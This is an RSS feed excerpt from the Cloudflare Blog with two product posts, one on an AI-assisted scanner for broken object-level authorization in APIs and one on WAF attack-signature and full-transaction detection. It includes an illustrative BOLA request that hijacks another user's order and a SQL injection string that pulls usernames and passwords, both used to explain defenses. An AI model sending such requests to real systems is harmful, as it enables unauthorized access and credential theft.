
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
    <channel>
        <title><![CDATA[ The Cloudflare Blog ]]></title>
        <description><![CDATA[ Get the latest news on how products at Cloudflare are built, technologies used, and join the teams helping to build a better Internet. ]]></description>
        <link>https://blog.cloudflare.com</link>
        <atom:link href="https://blog.cloudflare.com/" rel="self" type="application/rss+xml"/>
        <language>en-us</language>
        <image>
            <url>https://blog.cloudflare.com/favicon.png</url>
            <title>The Cloudflare Blog</title>
            <link>https://blog.cloudflare.com</link>
        </image>
        <lastBuildDate>Tue, 07 Apr 2026 13:50:00 GMT</lastBuildDate>
        <item>
            <title><![CDATA[Active defense: introducing a stateful vulnerability scanner for APIs]]></title>
            <link>https://blog.cloudflare.com/vulnerability-scanner/</link>
            <pubDate>Mon, 09 Mar 2026 14:00:00 GMT</pubDate>
            <description><![CDATA[ Cloudflare’s new Web and API Vulnerability Scanner helps teams proactively find logic flaws. By using AI to build API call graphs, we identify vulnerabilities that standard defensive tools miss. ]]></description>
            <content:encoded><![CDATA[ <p>Security is traditionally a game of defense. You build walls, set up gates, and write rules to block traffic that looks suspicious. For years, Cloudflare has been a leader in this space: our <a href="https://www.cloudflare.com/application-services/products/"><u>Application Security platform</u></a> is designed to catch attacks in flight, dropping malicious requests at the edge before they ever reach your origin. But for <a href="https://www.cloudflare.com/learning/security/api/what-is-api-security/"><u>API security</u></a>, defensive posturing isn’t enough. </p><p>That’s why today, we are launching the beta of Cloudflare’s Web and API Vulnerability Scanner. </p><p>We are starting with the most pervasive and difficult-to-catch threat on the OWASP API Top 10: <a href="https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/"><u>Broken Object Level Authorization</u>, or BOLA.</a> We will add more vulnerability scan types over time, including both API and web application threats.</p><p>The most dangerous API vulnerabilities today aren’t generic injection attacks or malformed requests that a WAF can easily spot. They are logic flaws—perfectly valid HTTP requests that meet the protocol and application spec but defy the business logic.</p><p>To find these, you can’t just wait for an attack. You have to actively hunt for them.</p><p>The Web and API Vulnerability Scanner will be available first for <a href="https://developers.cloudflare.com/api-shield/"><u>API Shield</u></a> customers. Read on to learn why we are focused on API security scans for this first release.</p>
    <div>
      <h2>Why purely defensive security misses the mark</h2>
      <a href="#why-purely-defensive-security-misses-the-mark">
        
      </a>
    </div>
    <p>In the web application world, vulnerabilities often look like syntax errors. A <a href="https://www.cloudflare.com/learning/security/threats/sql-injection/"><u>SQL injection</u></a> attempt looks like code where data should be. A <a href="https://www.cloudflare.com/learning/security/threats/cross-site-scripting/"><u>cross-site scripting (XSS)</u></a> attack looks like a script tag in a form field. These have signatures.</p><p>API vulnerabilities are different. To illustrate, let’s imagine a food delivery mobile app that communicates solely with an API on the backend. Let’s take the orders endpoint:</p><p><b>Endpoint Definition: </b><code><b>/api/v1/orders</b></code></p><table><tr><td><p><b>Method</b></p></td><td><p><b>Resource Path</b></p></td><td><p><b>Description</b></p></td></tr><tr><td><p><b>GET</b></p></td><td><p>/api/v1/orders/{order_id}</p></td><td><p><b>Check Status.</b> Returns the tracking status of a specific order (e.g., "Kitchen is preparing").</p></td></tr><tr><td><p><b>PATCH</b></p></td><td><p>/api/v1/orders/{order_id}</p></td><td><p><b>Update Order.</b> Allows the user to modify the drop-off location or add delivery instructions.</p></td></tr></table><p>In a broken authorization attack like BOLA, User A (the attacker) requests to update the delivery address of a paid-for order belonging to User B (the victim). The attacker simply inserts User B’s <code>{order_id}</code> in the <code>PATCH</code> request.</p><p>Here is what that request looks like, with ‘8821’ as User B’s order ID. Notice that User A is fully authenticated with their own valid token:</p>
            <pre><code>PATCH /api/v1/orders/8821 HTTP/1.1
Host: api.example.com
Authorization: Bearer &lt;User_A_Valid_Token&gt;
Content-Type: application/json

{
  "delivery_address": "123 Attacker Way, Apt 4",
  "instructions": "Leave at front door, ring bell"
}
</code></pre>
            <p>The request headers are valid. The authentication token is valid. The schema is correct. To a standard WAF, this request looks perfect. A bot management offering may even be fooled if a human is manually sending the attack requests.</p><p>User A will now get B’s food delivered to them! The vulnerability exists because the API endpoint fails to validate if User A actually has permission to view or update user B’s data. This is a failure of logic, not syntax. To fix this, the API developer could implement a simple check: <code>if (order.userID != user.ID) throw Unauthorized;</code></p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/ZOOAjAYcZqzDYg9snYASL/65940a740ba7ef294b719e76d37f3cdd/BLOG-3161_2.png" />
          </figure><p>You can detect these types of vulnerabilities by actively sending API test traffic or passively listening to existing API traffic. Finding these vulnerabilities through passive scanning requires context. Last year <a href="https://developers.cloudflare.com/changelog/2025-11-12-bola-attack-detection/"><u>we launched BOLA vulnerability detection</u></a> for API Shield. This detection automatically finds these vulnerabilities by passively scanning customer traffic for usage anomalies. To be successful with this type of scanning, you need to know what a "valid" API call looks like, what the variable parameters are, how a typical user behaves, and how the API behaves when those parameters are manipulated.</p><p>Yet there are reasons security teams may not have any of that context, even with access to API Shield’s BOLA vulnerability detection. Development environments may need to be tested but lack user traffic. Production environments may (thankfully) have a lack of attack traffic yet still need analysis, and so on. In these circumstances, and to be proactive in general, teams can turn to Dynamic Application Security Testing (DAST). By creating net-new traffic profiles intended specifically for security testing, DAST tools can look for vulnerabilities in any environment at any time.</p><p>Unfortunately, traditional DAST tools have a high barrier to entry. They are often difficult to configure, require you to manually upload and maintain Swagger/OpenAPI files, struggle to authenticate correctly against modern complex login flows, and can simply lack any API-specific security tests (e.g. BOLA).</p>
    <div>
      <h2>Cloudflare’s API scanning advantage</h2>
      <a href="#cloudflares-api-scanning-advantage">
        
      </a>
    </div>
    <p>In the food delivery order example above, we assumed the attacker could find a valid order to modify. While there are often avenues for attackers to gather this type of intelligence in a live production environment, in a security testing exercise you must create your own objects before testing the API’s authorization controls. For typical DAST scans, this can be a problem, because many scanners treat each individual request on its own. This method fails to chain requests together in the logical pattern necessary to find broken authorization vulnerabilities. Legacy DAST scanners can also exist as an island within your security tooling and orchestration environment, preventing their findings from being shared or viewed in context.</p><p>Vulnerability scanning from Cloudflare is different for a few key reasons. </p><p>First, <a href="https://developers.cloudflare.com/security-center/security-insights/"><u>Security Insights</u></a> will list results from our new scans alongside any existing Cloudflare security findings for added context. You’ll see all your posture management information in one place. </p><p>Second,<b> </b>we already know your API’s inputs and outputs. If you are an API Shield customer, Cloudflare already understands your API. Our <a href="https://developers.cloudflare.com/api-shield/security/api-discovery/"><u>API Discovery</u></a> and <a href="https://developers.cloudflare.com/api-shield/management-and-monitoring/endpoint-management/schema-learning/"><u>Schema Learning</u></a> features passively catalog your endpoints and learn your traffic patterns. While you’ll need to manually upload an OpenAPI spec to get started for our initial release, you will be able to get started quickly without one in a future release.</p><p>Third, because we sit at the edge, we can turn passive traffic inspection knowledge into active intelligence. It will be easy to verify BOLA vulnerability detection risks (found via traffic inspection) by sending net-new HTTP requests with the vulnerability scanner.</p><p>And finally, we have built a new, stateful DAST platform, as we detail below. Most scanners require hours of setup to "teach" the tool how to talk to your API. With Cloudflare, you can effectively skip that step and get started quickly. You provide the API credentials, and we’ll use your API schemas to automatically construct a scan plan.</p>
    <div>
      <h2>Building automatic scan plans</h2>
      <a href="#building-automatic-scan-plans">
        
      </a>
    </div>
    <p>APIs are commonly documented using <a href="https://www.openapis.org/what-is-openapi"><u>OpenAPI schemas</u></a>. These schemas denote the host, method, and path (commonly, an “endpoint”) along with the expected parameters of incoming requests and resulting responses. In order to automatically build a scan plan, we must first make sense of these API specifications for any given API to be scanned.</p><p>Our scanner works by building up an API call graph from an OpenAPI document and subsequently walking it, using attacker and owner contexts. Owners create resources, attackers subsequently try to access them. Attackers are fully authenticated with their own set of valid credentials. If an attacker successfully reads, modifies or deletes an unowned resource, an authorization vulnerability is found.</p><p>Consider for example the above delivery order with ID 8821. For the server-side resource to exist, it needed to be originally created by an owner, most likely in a “genesis” <code>POST</code> request with no or minimal dependencies (previous necessary calls and resulting data). Modelling the API as a call graph, such an endpoint constitutes a node with no or few incoming edges (dependencies). Any subsequent request, such as the attacker’s <code>PATCH</code> above, then has a <i>data dependency</i> (the data is <code>order_id</code>) on the genesis request (the <code>POST</code>). Without all data provided, the <code>PATCH</code> cannot proceed.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7q0y7XZJE411gzhRuo9UjG/f7722c58e6cac751a1db44b612098a7b/BLOG-3161_3.png" />
          </figure><p>Here we see in purple arrows the nodes in this API graph that are necessary to visit to add a note to an order via the POST <code>/api/v1/orders/{order_id}/note/{note_id}</code> endpoint. <b>Importantly, none of the steps or logic shown in the diagram is available in the OpenAPI specification!</b> It must be inferred logically through some other means, and that is exactly what our vulnerability scanner will do automatically.</p><p>In order to reliably and automatically plan scans across a variety of APIs, we must accurately model these endpoint relationships from scratch. However, two problems arise: data quality of API specifications is not guaranteed, and even functionally complete schemas can have ambiguous naming schemes. Consider a simplified OpenAPI specification for the above API, which might look like</p>
            <pre><code>openapi: 3.0.0
info:
  title: Order API
  version: 1.0.0
paths:
  /api/v1/orders:
    post:
      summary: Create an order
      requestBody:
        required: true
        content:
          application/json:
            schema:
              type: object
              properties:
                product:
                  type: string
                count:
                  type: integer
              required:
                - product
                - count
      responses:
        '201':
          description: Item created successfully
          content:
            application/json:
              schema:
                type: object
                properties:
                  result:
                    type: object
                    properties:
                      id:
                        type: integer
                      created_at:
                        type: integer
                  errors:
                    type: array
                    items:
                      type: string
  /api/v1/orders/{order_id}:
    patch:
      summary: Modify an order by ID
      parameters:
        - name: order_id
          in: path
</code></pre>
            <p>We can see that the <code>POST</code> endpoint returns responses such as</p>
            <pre><code>{
    "result": {
        "id": 8821,
        "created_at": 1741476777
    },
   "errors": []
}
</code></pre>
            <p>To a human observer, it is quickly evident that <code>$.result.id</code> is the value to be injected in <code>order_id</code> for the <code>PATCH</code> endpoint. The <code>id</code> property might also be called <code>orderId, value</code> or something else, and be nested arbitrarily. These subtle inconsistencies in OpenAPI documents of arbitrary shape are intractable for heuristics-based approaches.</p><p>Our scanner uses Cloudflare’s own <a href="https://developers.cloudflare.com/workers-ai/"><u>Workers AI</u></a> platform to tackle this fuzzy problem space. Models such as <a href="https://developers.cloudflare.com/workers-ai/models/gpt-oss-120b/"><u>OpenAI’s open-weight gpt-oss-120b</u></a> are powerful enough to match data dependencies reliably, and to generate realistic fake<i> </i>data where necessary, essentially filling in the blanks of OpenAPI specifications. Leveraging <a href="https://platform.openai.com/docs/guides/structured-outputs"><u>structured outputs</u></a>, the model produces a representation of the API call graph for our scanner to walk, injecting attacker and owner credentials appropriately.</p><p>This approach tackles the problem of needing human intelligence to infer authorization and data relationships in OpenAPI schemas with artificial intelligence to do the same. Structured outputs bridge the gap from the natural language world of gpt-oss back to machine-executable instructions. In addition to Workers AI solving the planning problem, self-hosting on Workers AI means our system automatically benefits from Cloudflare’s highly available, globally distributed architecture.</p>
    <div>
      <h3>Built on proven foundations</h3>
      <a href="#built-on-proven-foundations">
        
      </a>
    </div>
    <p>Building a vulnerability scanner that customers will trust with their API credentials demands proven infrastructure. We did not reinvent the wheel here. Instead, we integrated services that have been validated and deployed across Cloudflare for two crucial components of our scanner platform: the scanner’s control plane and the scanner’s secrets store.</p><p>The scanner's control plane integrates with <a href="https://github.com/temporalio/temporal"><u>Temporal</u></a> for Scan Orchestration, on which other internal services at Cloudflare already rely. The complexity of the numerous test plans executed in each Scan is effectively managed by Temporal's durable execution framework. </p><p>The entire backend is written in Rust, which is widely adopted at Cloudflare for infrastructure services. This lets us reuse internal libraries and share architectural patterns across teams. It also positions our scanner for potential future integration with other Cloudflare systems like FL2 or our test framework <a href="https://blog.cloudflare.com/20-percent-internet-upgrade/#step-2-testing-and-automated-rollouts"><u>Flamingo</u></a> – enabling scenarios where scanning could coordinate more tightly with edge request handling or testing infrastructure.</p>
    <div>
      <h4>Credential security through HashiCorp’s Vault Transit Secret Engine</h4>
      <a href="#credential-security-through-hashicorps-vault-transit-secret-engine">
        
      </a>
    </div>
    <p>Scanning for broken authentication and broken authorization vulnerabilities requires handling API user credentials. Cloudflare takes this responsibility very seriously.</p><p>We ensure that our public API layer has minimal access to unencrypted customer credentials by using HashiCorp's <a href="https://developer.hashicorp.com/vault/docs/secrets/transit"><u>Vault Transit Secret Engine</u></a> (TSE) for encryption-as-a-service. Immediately upon submission, credentials are encrypted by TSE—which handles the encryption but does not store the ciphertext—and are subsequently stored on Cloudflare infrastructure. </p><p>Our API is not authorized to decrypt this data. Instead, decryption occurs only at the last stage when a TestPlan makes a request to the customer's infrastructure. Only the Worker executing the test is authorized to request decryption, a restriction we strengthen using strict typing with additional safety rails inside Rust to enforce minimal access to decryption methods.</p><p>We further secure our customers’ credentials through regular rotation and periodic rewraps using TSE to mitigate risk. This process means we only interact with the new ciphertext, and the original secret is kept unviewable.</p>
    <div>
      <h2>What’s next?</h2>
      <a href="#whats-next">
        
      </a>
    </div>
    <p>We are releasing BOLA vulnerability scanning starting today as an Open Beta for all API Shield customers, and are working on future API threat scans for future release. Via the Cloudflare API, you can trigger scans, manage configuration, and retrieve results programmatically to integrate directly into your <a href="https://www.cloudflare.com/learning/serverless/glossary/what-is-ci-cd/"><u>CI/CD pipelines</u></a> or security dashboards. For API Shield Customers: check the <a href="https://developers.cloudflare.com/api-shield/security/vulnerability-scanner/"><u>developer docs</u></a> to start scanning your endpoints for BOLA vulnerabilities today.</p><p>We are starting with BOLA vulnerabilities because they are the hardest API vulnerability to solve and the highest risk for our customers. However, this scanning engine is built to be extensible.</p><p>In the near future, we plan to expand the scanner’s capabilities to cover the most popular of the <a href="https://owasp.org/www-project-top-ten/"><u>OWASP </u><i><u>Web</u></i><u> Top 10</u></a> as well: classic web vulnerabilities like SQL injection (SQLi) and cross-site scripting (XSS). To be notified upon release, <a href="https://www.cloudflare.com/lp/security-week/vulnerability-scanner/"><u>sign up for the waitlist here</u></a>, and you’ll be first to learn when we expand the engine to general web application vulnerabilities.</p> ]]></content:encoded>
            <category><![CDATA[Application Services]]></category>
            <category><![CDATA[Application Security]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[API Security]]></category>
            <category><![CDATA[API]]></category>
            <category><![CDATA[Security]]></category>
            <guid isPermaLink="false">7yIVIjWT0unNpdtbhOCVnh</guid>
            <dc:creator>John Cosgrove</dc:creator>
            <dc:creator>Alex Povel</dc:creator>
            <dc:creator>Malte Reddig</dc:creator>
        </item>
        <item>
            <title><![CDATA[Always-on detections: eliminating the WAF “log versus block” trade-off]]></title>
            <link>https://blog.cloudflare.com/attack-signature-detection/</link>
            <pubDate>Wed, 04 Mar 2026 15:00:00 GMT</pubDate>
            <description><![CDATA[ Cloudflare is introducing Attack Signature Detection and Full-Transaction Detection to provide continuous, high-fidelity security insights without the manual tuning of traditional WAFs. By correlating request payloads with server responses, we can now identify successful exploits and data exfiltration while minimizing false positives. ]]></description>
            <content:encoded><![CDATA[ <p>Traditional Web Application Firewalls typically require extensive, manual tuning of their rules before they can safely block malicious traffic. When a new application is deployed, security teams usually begin in a logging-only mode, sifting through logs to gradually assess which rules are safe for blocking mode. This process is designed to minimize false positives without affecting legitimate traffic. It’s manual, slow and error-prone.</p><p>Teams are forced into a trade-off: visibility in log mode, or protection in block mode. When a rule blocks a request, evaluation stops, and you lose visibility into how other signatures would have assessed it — valuable insight that could have helped you tune and strengthen your defenses.</p><p>Today, we’re solving this by introducing the next evolution of our managed rules: Attack Signature Detection.</p><p>When enabled, this detection inspects every request for malicious payloads and attaches rich detection metadata before any action is taken. You get complete visibility into every signature match, without sacrificing protection or performance. Onboarding becomes simple: traffic is analyzed, data accumulates, and you see exactly which signatures fire and why. You can then build precise mitigation policies based on past traffic, reducing the risk of false positives.</p><p>But we’re going one step further. We’re moving beyond request-only analysis to something far more powerful: Full-Transaction Detection.</p><p>Instead of looking at just the incoming request, this new detection correlates the entire HTTP transaction: request and response. By analyzing the full context, we dramatically reduce false positives compared to traditional request-only signature engines. More importantly, we uncover threats others miss, such as reflective SQL injection, subtle data exfiltration patterns, and dangerous misconfigurations that only reveal themselves in the response. </p><p>Attack Signature Detection is available now in Early Access — <a href="https://www.cloudflare.com/lp/attack-detection/"><u>sign up here</u></a> to express interest. Full-Transaction Detection is under development; <a href="https://www.cloudflare.com/lp/full-transaction-detection/"><u>register here</u></a> to be among the first to try it when it’s ready.</p>
    <div>
      <h2>The always-on framework</h2>
      <a href="#the-always-on-framework">
        
      </a>
    </div>
    <p>To provide full visibility on your traffic without slowing down the Internet, we had to change how we think about the request lifecycle. For customers who opt in, Attack Signature detection is now "always on." This means that as soon as traffic is proxied, all detection signatures are executed on every request, and the results are immediately visible in Security Analytics.</p><p>This "always-on" framework separates detection from mitigation. Detections run continuously, enriching analytics with metadata about triggered detections. This metadata is also added to the request as a new field, which customers can use to create custom policies within security rules. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/Vx8m4KODWR1lqusEdBtUj/8339eea7b73eb79bae416ef7fe01b60b/image9.png" />
          </figure><p><sup><i>Separating the detection of malicious payloads from the actions taken by security rules is the core of the always-on framework. This approach enhances the analytics experience and increases confidence when deploying new protections.</i></sup></p><p>Our existing Bot Score and Attack Score detections already follow this method. Attack Signature Detection provides the same coverage as our Managed Rules product but operates within this new framework.</p><p>Does this introduce additional latency to the request? No — this model is designed for efficiency. If a customer has not created a blocking rule based on a detection, the detection can be executed <i>after</i> the request has been sent to the origin server, ensuring that the detection itself introduces no additional latency to the traffic. Therefore, upon onboarding, the detection is enabled by default but does not impact traffic performance. When a rule is created, the detection is moved in-line with the request that might experience additional latency. The exact value depends on the traffic profile of the application. </p>
    <div>
      <h2>Attack Signature Detection</h2>
      <a href="#attack-signature-detection">
        
      </a>
    </div>
    <p>Compared to traditional, rule-based systems like the Cloudflare Managed Ruleset, the new detection offers a substantial advancement in web application security. This approach makes identifying malicious web payloads and deploying security rules significantly more user-friendly.</p><p>The Cloudflare Managed Ruleset is where our analyst team develops detections for common attack vectors, including <a href="https://www.cloudflare.com/learning/security/threats/sql-injection/"><u>SQL injection (SQLi)</u></a>, <a href="https://www.cloudflare.com/learning/security/threats/cross-site-scripting/"><u>Cross Site Scripting (XSS)</u></a>, <a href="https://www.cloudflare.com/learning/security/what-is-remote-code-execution/"><u>Remote Code Execution (RCE)</u></a>, and specific Common Vulnerabilities and Exposures (CVEs). Analysts typically release new rules weekly, with emergency releases deployed for high-profile vulnerabilities (such as the recent <a href="https://react2shell.com/"><u>React2Shell</u></a> <a href="https://blog.cloudflare.com/waf-rules-react-vulnerability/"><u>release</u></a>). Currently, over 700 managed rules are active in our Managed Ruleset. The new detections are also known as <i>signature rules</i> or simply <i>signatures</i>. They employ the same heuristics as Managed Rules but do not directly apply actions to traffic.</p><p>Each signature is uniquely identified by a Ref ID (similar to the Rule ID for the Managed Ruleset) and is tagged with both <i>category</i> and <i>confidence</i>. The category specifies the attack vectors the signature targets, while the confidence level indicates the likelihood of a false positive (a trigger on legitimate traffic). A rule can have only one confidence level but may have multiple categories. </p><p>Category indicates what attack vector the rule refers to. The list of categories is long, but includes tags like SQLi, XSS, RCE or specific CVE with its number.</p><p>The confidence field is divided into two values, based on whether at least one signature from the corresponding group matches the traffic.</p><table><tr><td><p><b>Confidence</b></p></td><td><p><b>Description</b></p></td></tr><tr><td><p>High</p></td><td><p>These signatures aim for high true positives and low false positives, typical for CVEs where payloads are identifiable without blocking legitimate traffic. They function like the Managed Ruleset’s default configuration.</p></td></tr><tr><td><p>Medium</p></td><td><p>These signatures, which are turned off by default in the Managed Ruleset, may cause false positives based on your traffic. Before blocking traffic matching these rules, assess their potential application impact.</p></td></tr></table><p>
The detection's analysis of a request populates three fields. These fields are accessible in Security Analytics and Edge Rules Engine, our core engine for Security Rules.</p><table><tr><td><p>Field</p></td><td><p>Description</p></td><td><p>Where can be used</p></td></tr><tr><td><p><code>cf.waf.signature.request.</code><code><b>confidence</b></code></p></td><td><p>Array. Aggregate the confidence scores associated with the matching signatures.</p></td><td><p>Analytics and Security Rules</p></td></tr><tr><td><p><code>cf.waf.signature.request.</code><code><b>categories</b></code></p></td><td><p>Array. Aggregate the categories associated with the matching signatures.</p></td><td><p>Analytics and Security Rules</p></td></tr><tr><td><p><code>cf.waf.signature.request.</code><code><b>ref</b></code></p></td><td><p>Array. Aggregates the Ref IDs of the matching signatures, up to 10.</p></td><td><p>Analytics and Security Rules</p></td></tr></table>
    <div>
      <h3>Analyzing your data in Security Analytics</h3>
      <a href="#analyzing-your-data-in-security-analytics">
        
      </a>
    </div>
    <p>Security Analytics is at the core of the Cloudflare Application Security toolbox, providing a comprehensive, data-driven view of how signatures interact with your web traffic. It gives you the tools necessary to understand, measure, and optimize your web protection. Common use cases for combining Analytics with signatures include: design a security posture during the onboarding process, verify the most frequent attack attempts and create exceptions to handle false positives.</p><p>Once a new application is proxied through Cloudflare, Attack Signature Detection begins populating your dashboard with data. The initial step is to examine the aggregated matches, categorized by type and signature, to confirm that all potential attacks are being blocked. Analysts can do this by reviewing the top statistics for signatures, filtering the data to show whether requests were blocked, served from the cache, or permitted to reach the origin server. If any malicious requests are found to have reached the origin, analysts can quickly implement security rules. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/Flwiq3kVd2vHnIT7w30Op/2c9564f636b5e1169228711cd7ff5c15/image6.png" />
          </figure><p><sup><i>A breakdown of the total request volume matching attack signatures, categorized by their corresponding Category or Signature.</i></sup></p><p>Analytics provides insights into attack patterns, such as the most frequent CVEs based on traffic volume over time. This capability is designed for quickly identifying the dominant attack payloads targeting applications and verifying the efficacy of current protections against related CVEs. For example, analysts can monitor the attack frequency targeting a specific part of the application, like <code>/api/</code>, or confirm if known malicious payloads, such as React2Shell, are reaching a particular endpoint, such as the <code>POST /_next/</code> Node.js path. Both the Analytics filters and the Attack Analysis tool can be used to perform this type of investigation.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/PswhIBA7AXI5y6BaH4Rq6/aafe3e2f272d8077ed1454066600da51/image5.png" />
          </figure><p><sup><i>A visualization within Security Analytics offers a time-series view of malicious payloads targeting the /api/ endpoint. This view groups the data to highlight the top five CVEs by volume.</i></sup></p><p>Analytics also help create exceptions and identifying false positives. An increase in matches for a specific rule, for instance, may suggest false positives rather than active exploitation. For example, an application that allows users to submit rich HTML content (such as a Content Management Systems or support ticketing system) may legitimately include markup that matches more generic XSS signatures. In these cases, a scoped exception can be applied to the affected endpoint, while keeping the protection enabled across the rest of the application. </p><p>This approach is especially useful for evaluating medium-confidence signatures, which balance aggressive blocking with false-positive risk. The tool allows "what-if" scenarios against historical traffic to empirically determine production performance. This process helps determine if a medium-confidence signature is appropriate for the overall traffic profile, or if a high rate of false positives requires limiting its deployment to specific URLs or request types. </p><p>Generally, signatures that have a very low match rate on historical traffic can be more safely deployed in block mode without significant disruption to legitimate traffic. To achieve this level of confidence, Security Analytics provides the tools for in-depth forensics investigations.</p><p>Beyond immediate detection, a crucial aspect of defense management is the ability to customize your security posture. The user interface offers a searchable catalog of all security signatures, allowing you to browse the full list and understand the specific threat each is designed to address. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6enXCjehRa8ibfhOoUfnRv/330231e1e7cc96cb1450f0f450d33aab/Screenshot_2026-03-04_at_17.17.59.png" />
          </figure><p><sup><i>A searchable catalog of signatures is available, providing more detail on critical detections to help customers understand the threats and the remediation actions.</i></sup></p>
    <div>
      <h3>Creating security rules</h3>
      <a href="#creating-security-rules">
        
      </a>
    </div>
    <p>After analyzing your data and establishing confidence in how the signatures performed against your past traffic, you can easily create custom rules to handle traffic based on the detections. For example, if you want to create a policy that blocks requests matching high confidence signatures you can create the following rule:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/55sYmYsoMh9effxtmxG65j/2ca91e74188ad69a908b5ae69571225c/image1.png" />
          </figure><p><sup><i>Creating a rule to block requests matching with high confidence signatures.</i></sup></p><p>This is equivalent to the Cloudflare Managed Ruleset default deployment.</p><p>If you want to block all requests matching at least one rule, you will add the Medium confidence tag. This is equivalent to enabling all rules of Cloudflare Managed Ruleset. Alternatively, you can configure multiple rules, applying a more stringent action (like "Block") for detections with High confidence and a less strict action (such as "Challenge") for those with Medium confidence.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3JhVPtrx2ZRhsNgRQHCaLc/ca3f597d8b794fd5a2eb1ddfc1362288/image8.png" />
          </figure><p><sup><i>By selecting both High and Medium confidence you can trigger a rule if any signature matches.</i></sup></p><p>To create a rule blocking a specific CVE or attack vector, you will use Categories. The rule builder allows you to combine attack vector category tags with all existing HTTP request data. This enables you to create granular rules (or exceptions) and tailor your security posture to different parts of your application. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/wEf21sGlDdKkO7Mgt1pVn/01bd915ae33d931ca33bd0b2d04fc9e8/image7.png" />
          </figure><p><sup><i>Customers can create rules to block (or allow) requests matching specific CVEs or attack categories.</i></sup></p><p>To create rules based on a specific Signature, you can use Ref ID. You can find the right Ref ID within the rule builder by exploring the available Attack Signature rules. This is especially useful if you want to create exceptions to manage false positives.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1LQ93vHMecuHS8xNbL0RTz/b805072b739f1ded6f4383c13f2cfb5a/image3.png" />
          </figure><p><sup><i>Customers can browse signature rules directly from the rule builder.</i></sup></p>
    <div>
      <h3>What happens to Cloudflare Managed Ruleset?</h3>
      <a href="#what-happens-to-cloudflare-managed-ruleset">
        
      </a>
    </div>
    <p>All customers continue to have access to our classic Managed Ruleset. When Attack Signature Detection is broadly available, customers will be able to choose the deployment model that best suits their needs, whether that is Attack Signature Detection or Managed Rules. Our analyst teams ensure that new detections are released simultaneously across both the Managed Ruleset and Attack Signature Detection.</p>
    <div>
      <h2>Full-Transaction Detection</h2>
      <a href="#full-transaction-detection">
        
      </a>
    </div>
    <p>Traditional web attack detection primarily focuses on the "ask": the HTTP request. However, the request only tells half the story. To know if an attack actually succeeded, you have to look at the "answer": the HTTP response.</p><p>By combining request and response metadata into a single detection event, we can dramatically reduce false positives and identify successful exploits that request-only systems miss.</p><p>For example, consider a request containing a common SQL injection string in a query parameter.</p><blockquote><p><code>GET /user?id=1' UNION SELECT username, password FROM users--</code></p></blockquote><p>A traditional WAF will see the <code>UNION SELECT</code> pattern and block it. However, if the application isn't actually vulnerable, this might be a false positive — for instance a security researcher testing their own site.</p><p>With Full-Transaction Detection, the system notes the SQLi signature in the request but waits for the response. If the origin responds with a <code>500 Internal Server Error</code> or a standard <code>404</code>, the confidence of a "successful exploit" is low. If the origin responds with a <code>200 OK</code> and a body containing a string that matches a "sensitive data" signature (like a list of usernames), the system flags a Successful Exploit Confirmation.</p><p>To start, we are rolling out a few detection categories and plan to expand this list over time. Here are the three areas we are currently focused on, and some of the flags you’ll see:</p><ul><li><p><b>Exploit attempts. </b>The detection provides web attack detections by inspecting the entire HTTP request-to-response cycle. It focuses on three key areas: identifying input exploitation like XSS and SQLi via malicious signatures, stopping automated abuse such as vulnerability probing, and confirming successful exploits by correlating suspicious requests with unusual server responses.</p></li></ul><ul><li><p><b>Data exposure and exfiltration signals. </b>This framework also allows us to catch data exfiltration that looks like legitimate traffic on the way in. A request for /api/v1/export is a standard administrative action. But if that specific request triggers a response containing 5,000 credit card numbers (for example identified via Luhn algorithm signatures), the transaction is flagged as Data Exposure. </p></li></ul><ul><li><p><b>Misconfigurations. </b>Exposed admin interfaces are often attack vectors. Traditional security checks miss this misconfiguration because the traffic itself looks valid (real endpoints or admin pages). The issue isn't the traffic but its public accessibility. We prioritize detection based on common real-world misconfigurations seen in customer data, such as public unauthenticated Elasticsearch clusters, Internet reachable admin panels, and exposed Apache sensitive endpoints.</p></li></ul><p>The detection, much like Attack Signatures, will store the results in two specific fields. These fields are accessible in our dashboard and logged within Security Analytics.</p><table><tr><td><p>Field</p></td><td><p>Description</p></td><td><p>Where can be used</p></td></tr><tr><td><p><code>cf.waf.signature.response.</code><code><b>categories</b></code></p></td><td><p>Array. Aggregate the categories associated with the matching signatures.</p></td><td><p>Security Analytics </p></td></tr><tr><td><p><code>cf.waf.signature.response.</code><code><b>ref</b></code></p></td><td><p>Array. Aggregates the Ref IDs of the matching signatures, up to 10.</p></td><td><p>Security Analytics </p></td></tr></table><p>Initially, we are focused on offering visibility into matching requests via analytics. By surfacing events on potential exploits, we provide customers information that can be used for incident response through targeted remediations across their infrastructure and software stack. Our future plans include extending Security Rules to the response phase, which will empower customers to block responses based on these detections by allowing policy creation.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3uUoiHlxC6qEjBNU1AA5Rg/1402f5be8f412443cf3b9ff39e8d0700/image4.png" />
          </figure><p><sup><i>A diagram illustrating the execution locations and corresponding populated fields for both Attack Signature Detection and Full-Transaction Detection.</i></sup></p>
    <div>
      <h2>Sign up to get access</h2>
      <a href="#sign-up-to-get-access">
        
      </a>
    </div>
    <p>Attack Signature detection is in Early Access while Full-Transaction Detection is under development. <a href="https://www.cloudflare.com/lp/attack-detection"><u>Sign up here</u></a> to get access to Attack Signature, and <a href="https://www.cloudflare.com/lp/full-transaction-detection/"><u>here to express interest</u></a> for Full-Transaction. We’ll gather feedback in the coming months as we prepare these features for General Availability.</p> ]]></content:encoded>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[Managed Rules]]></category>
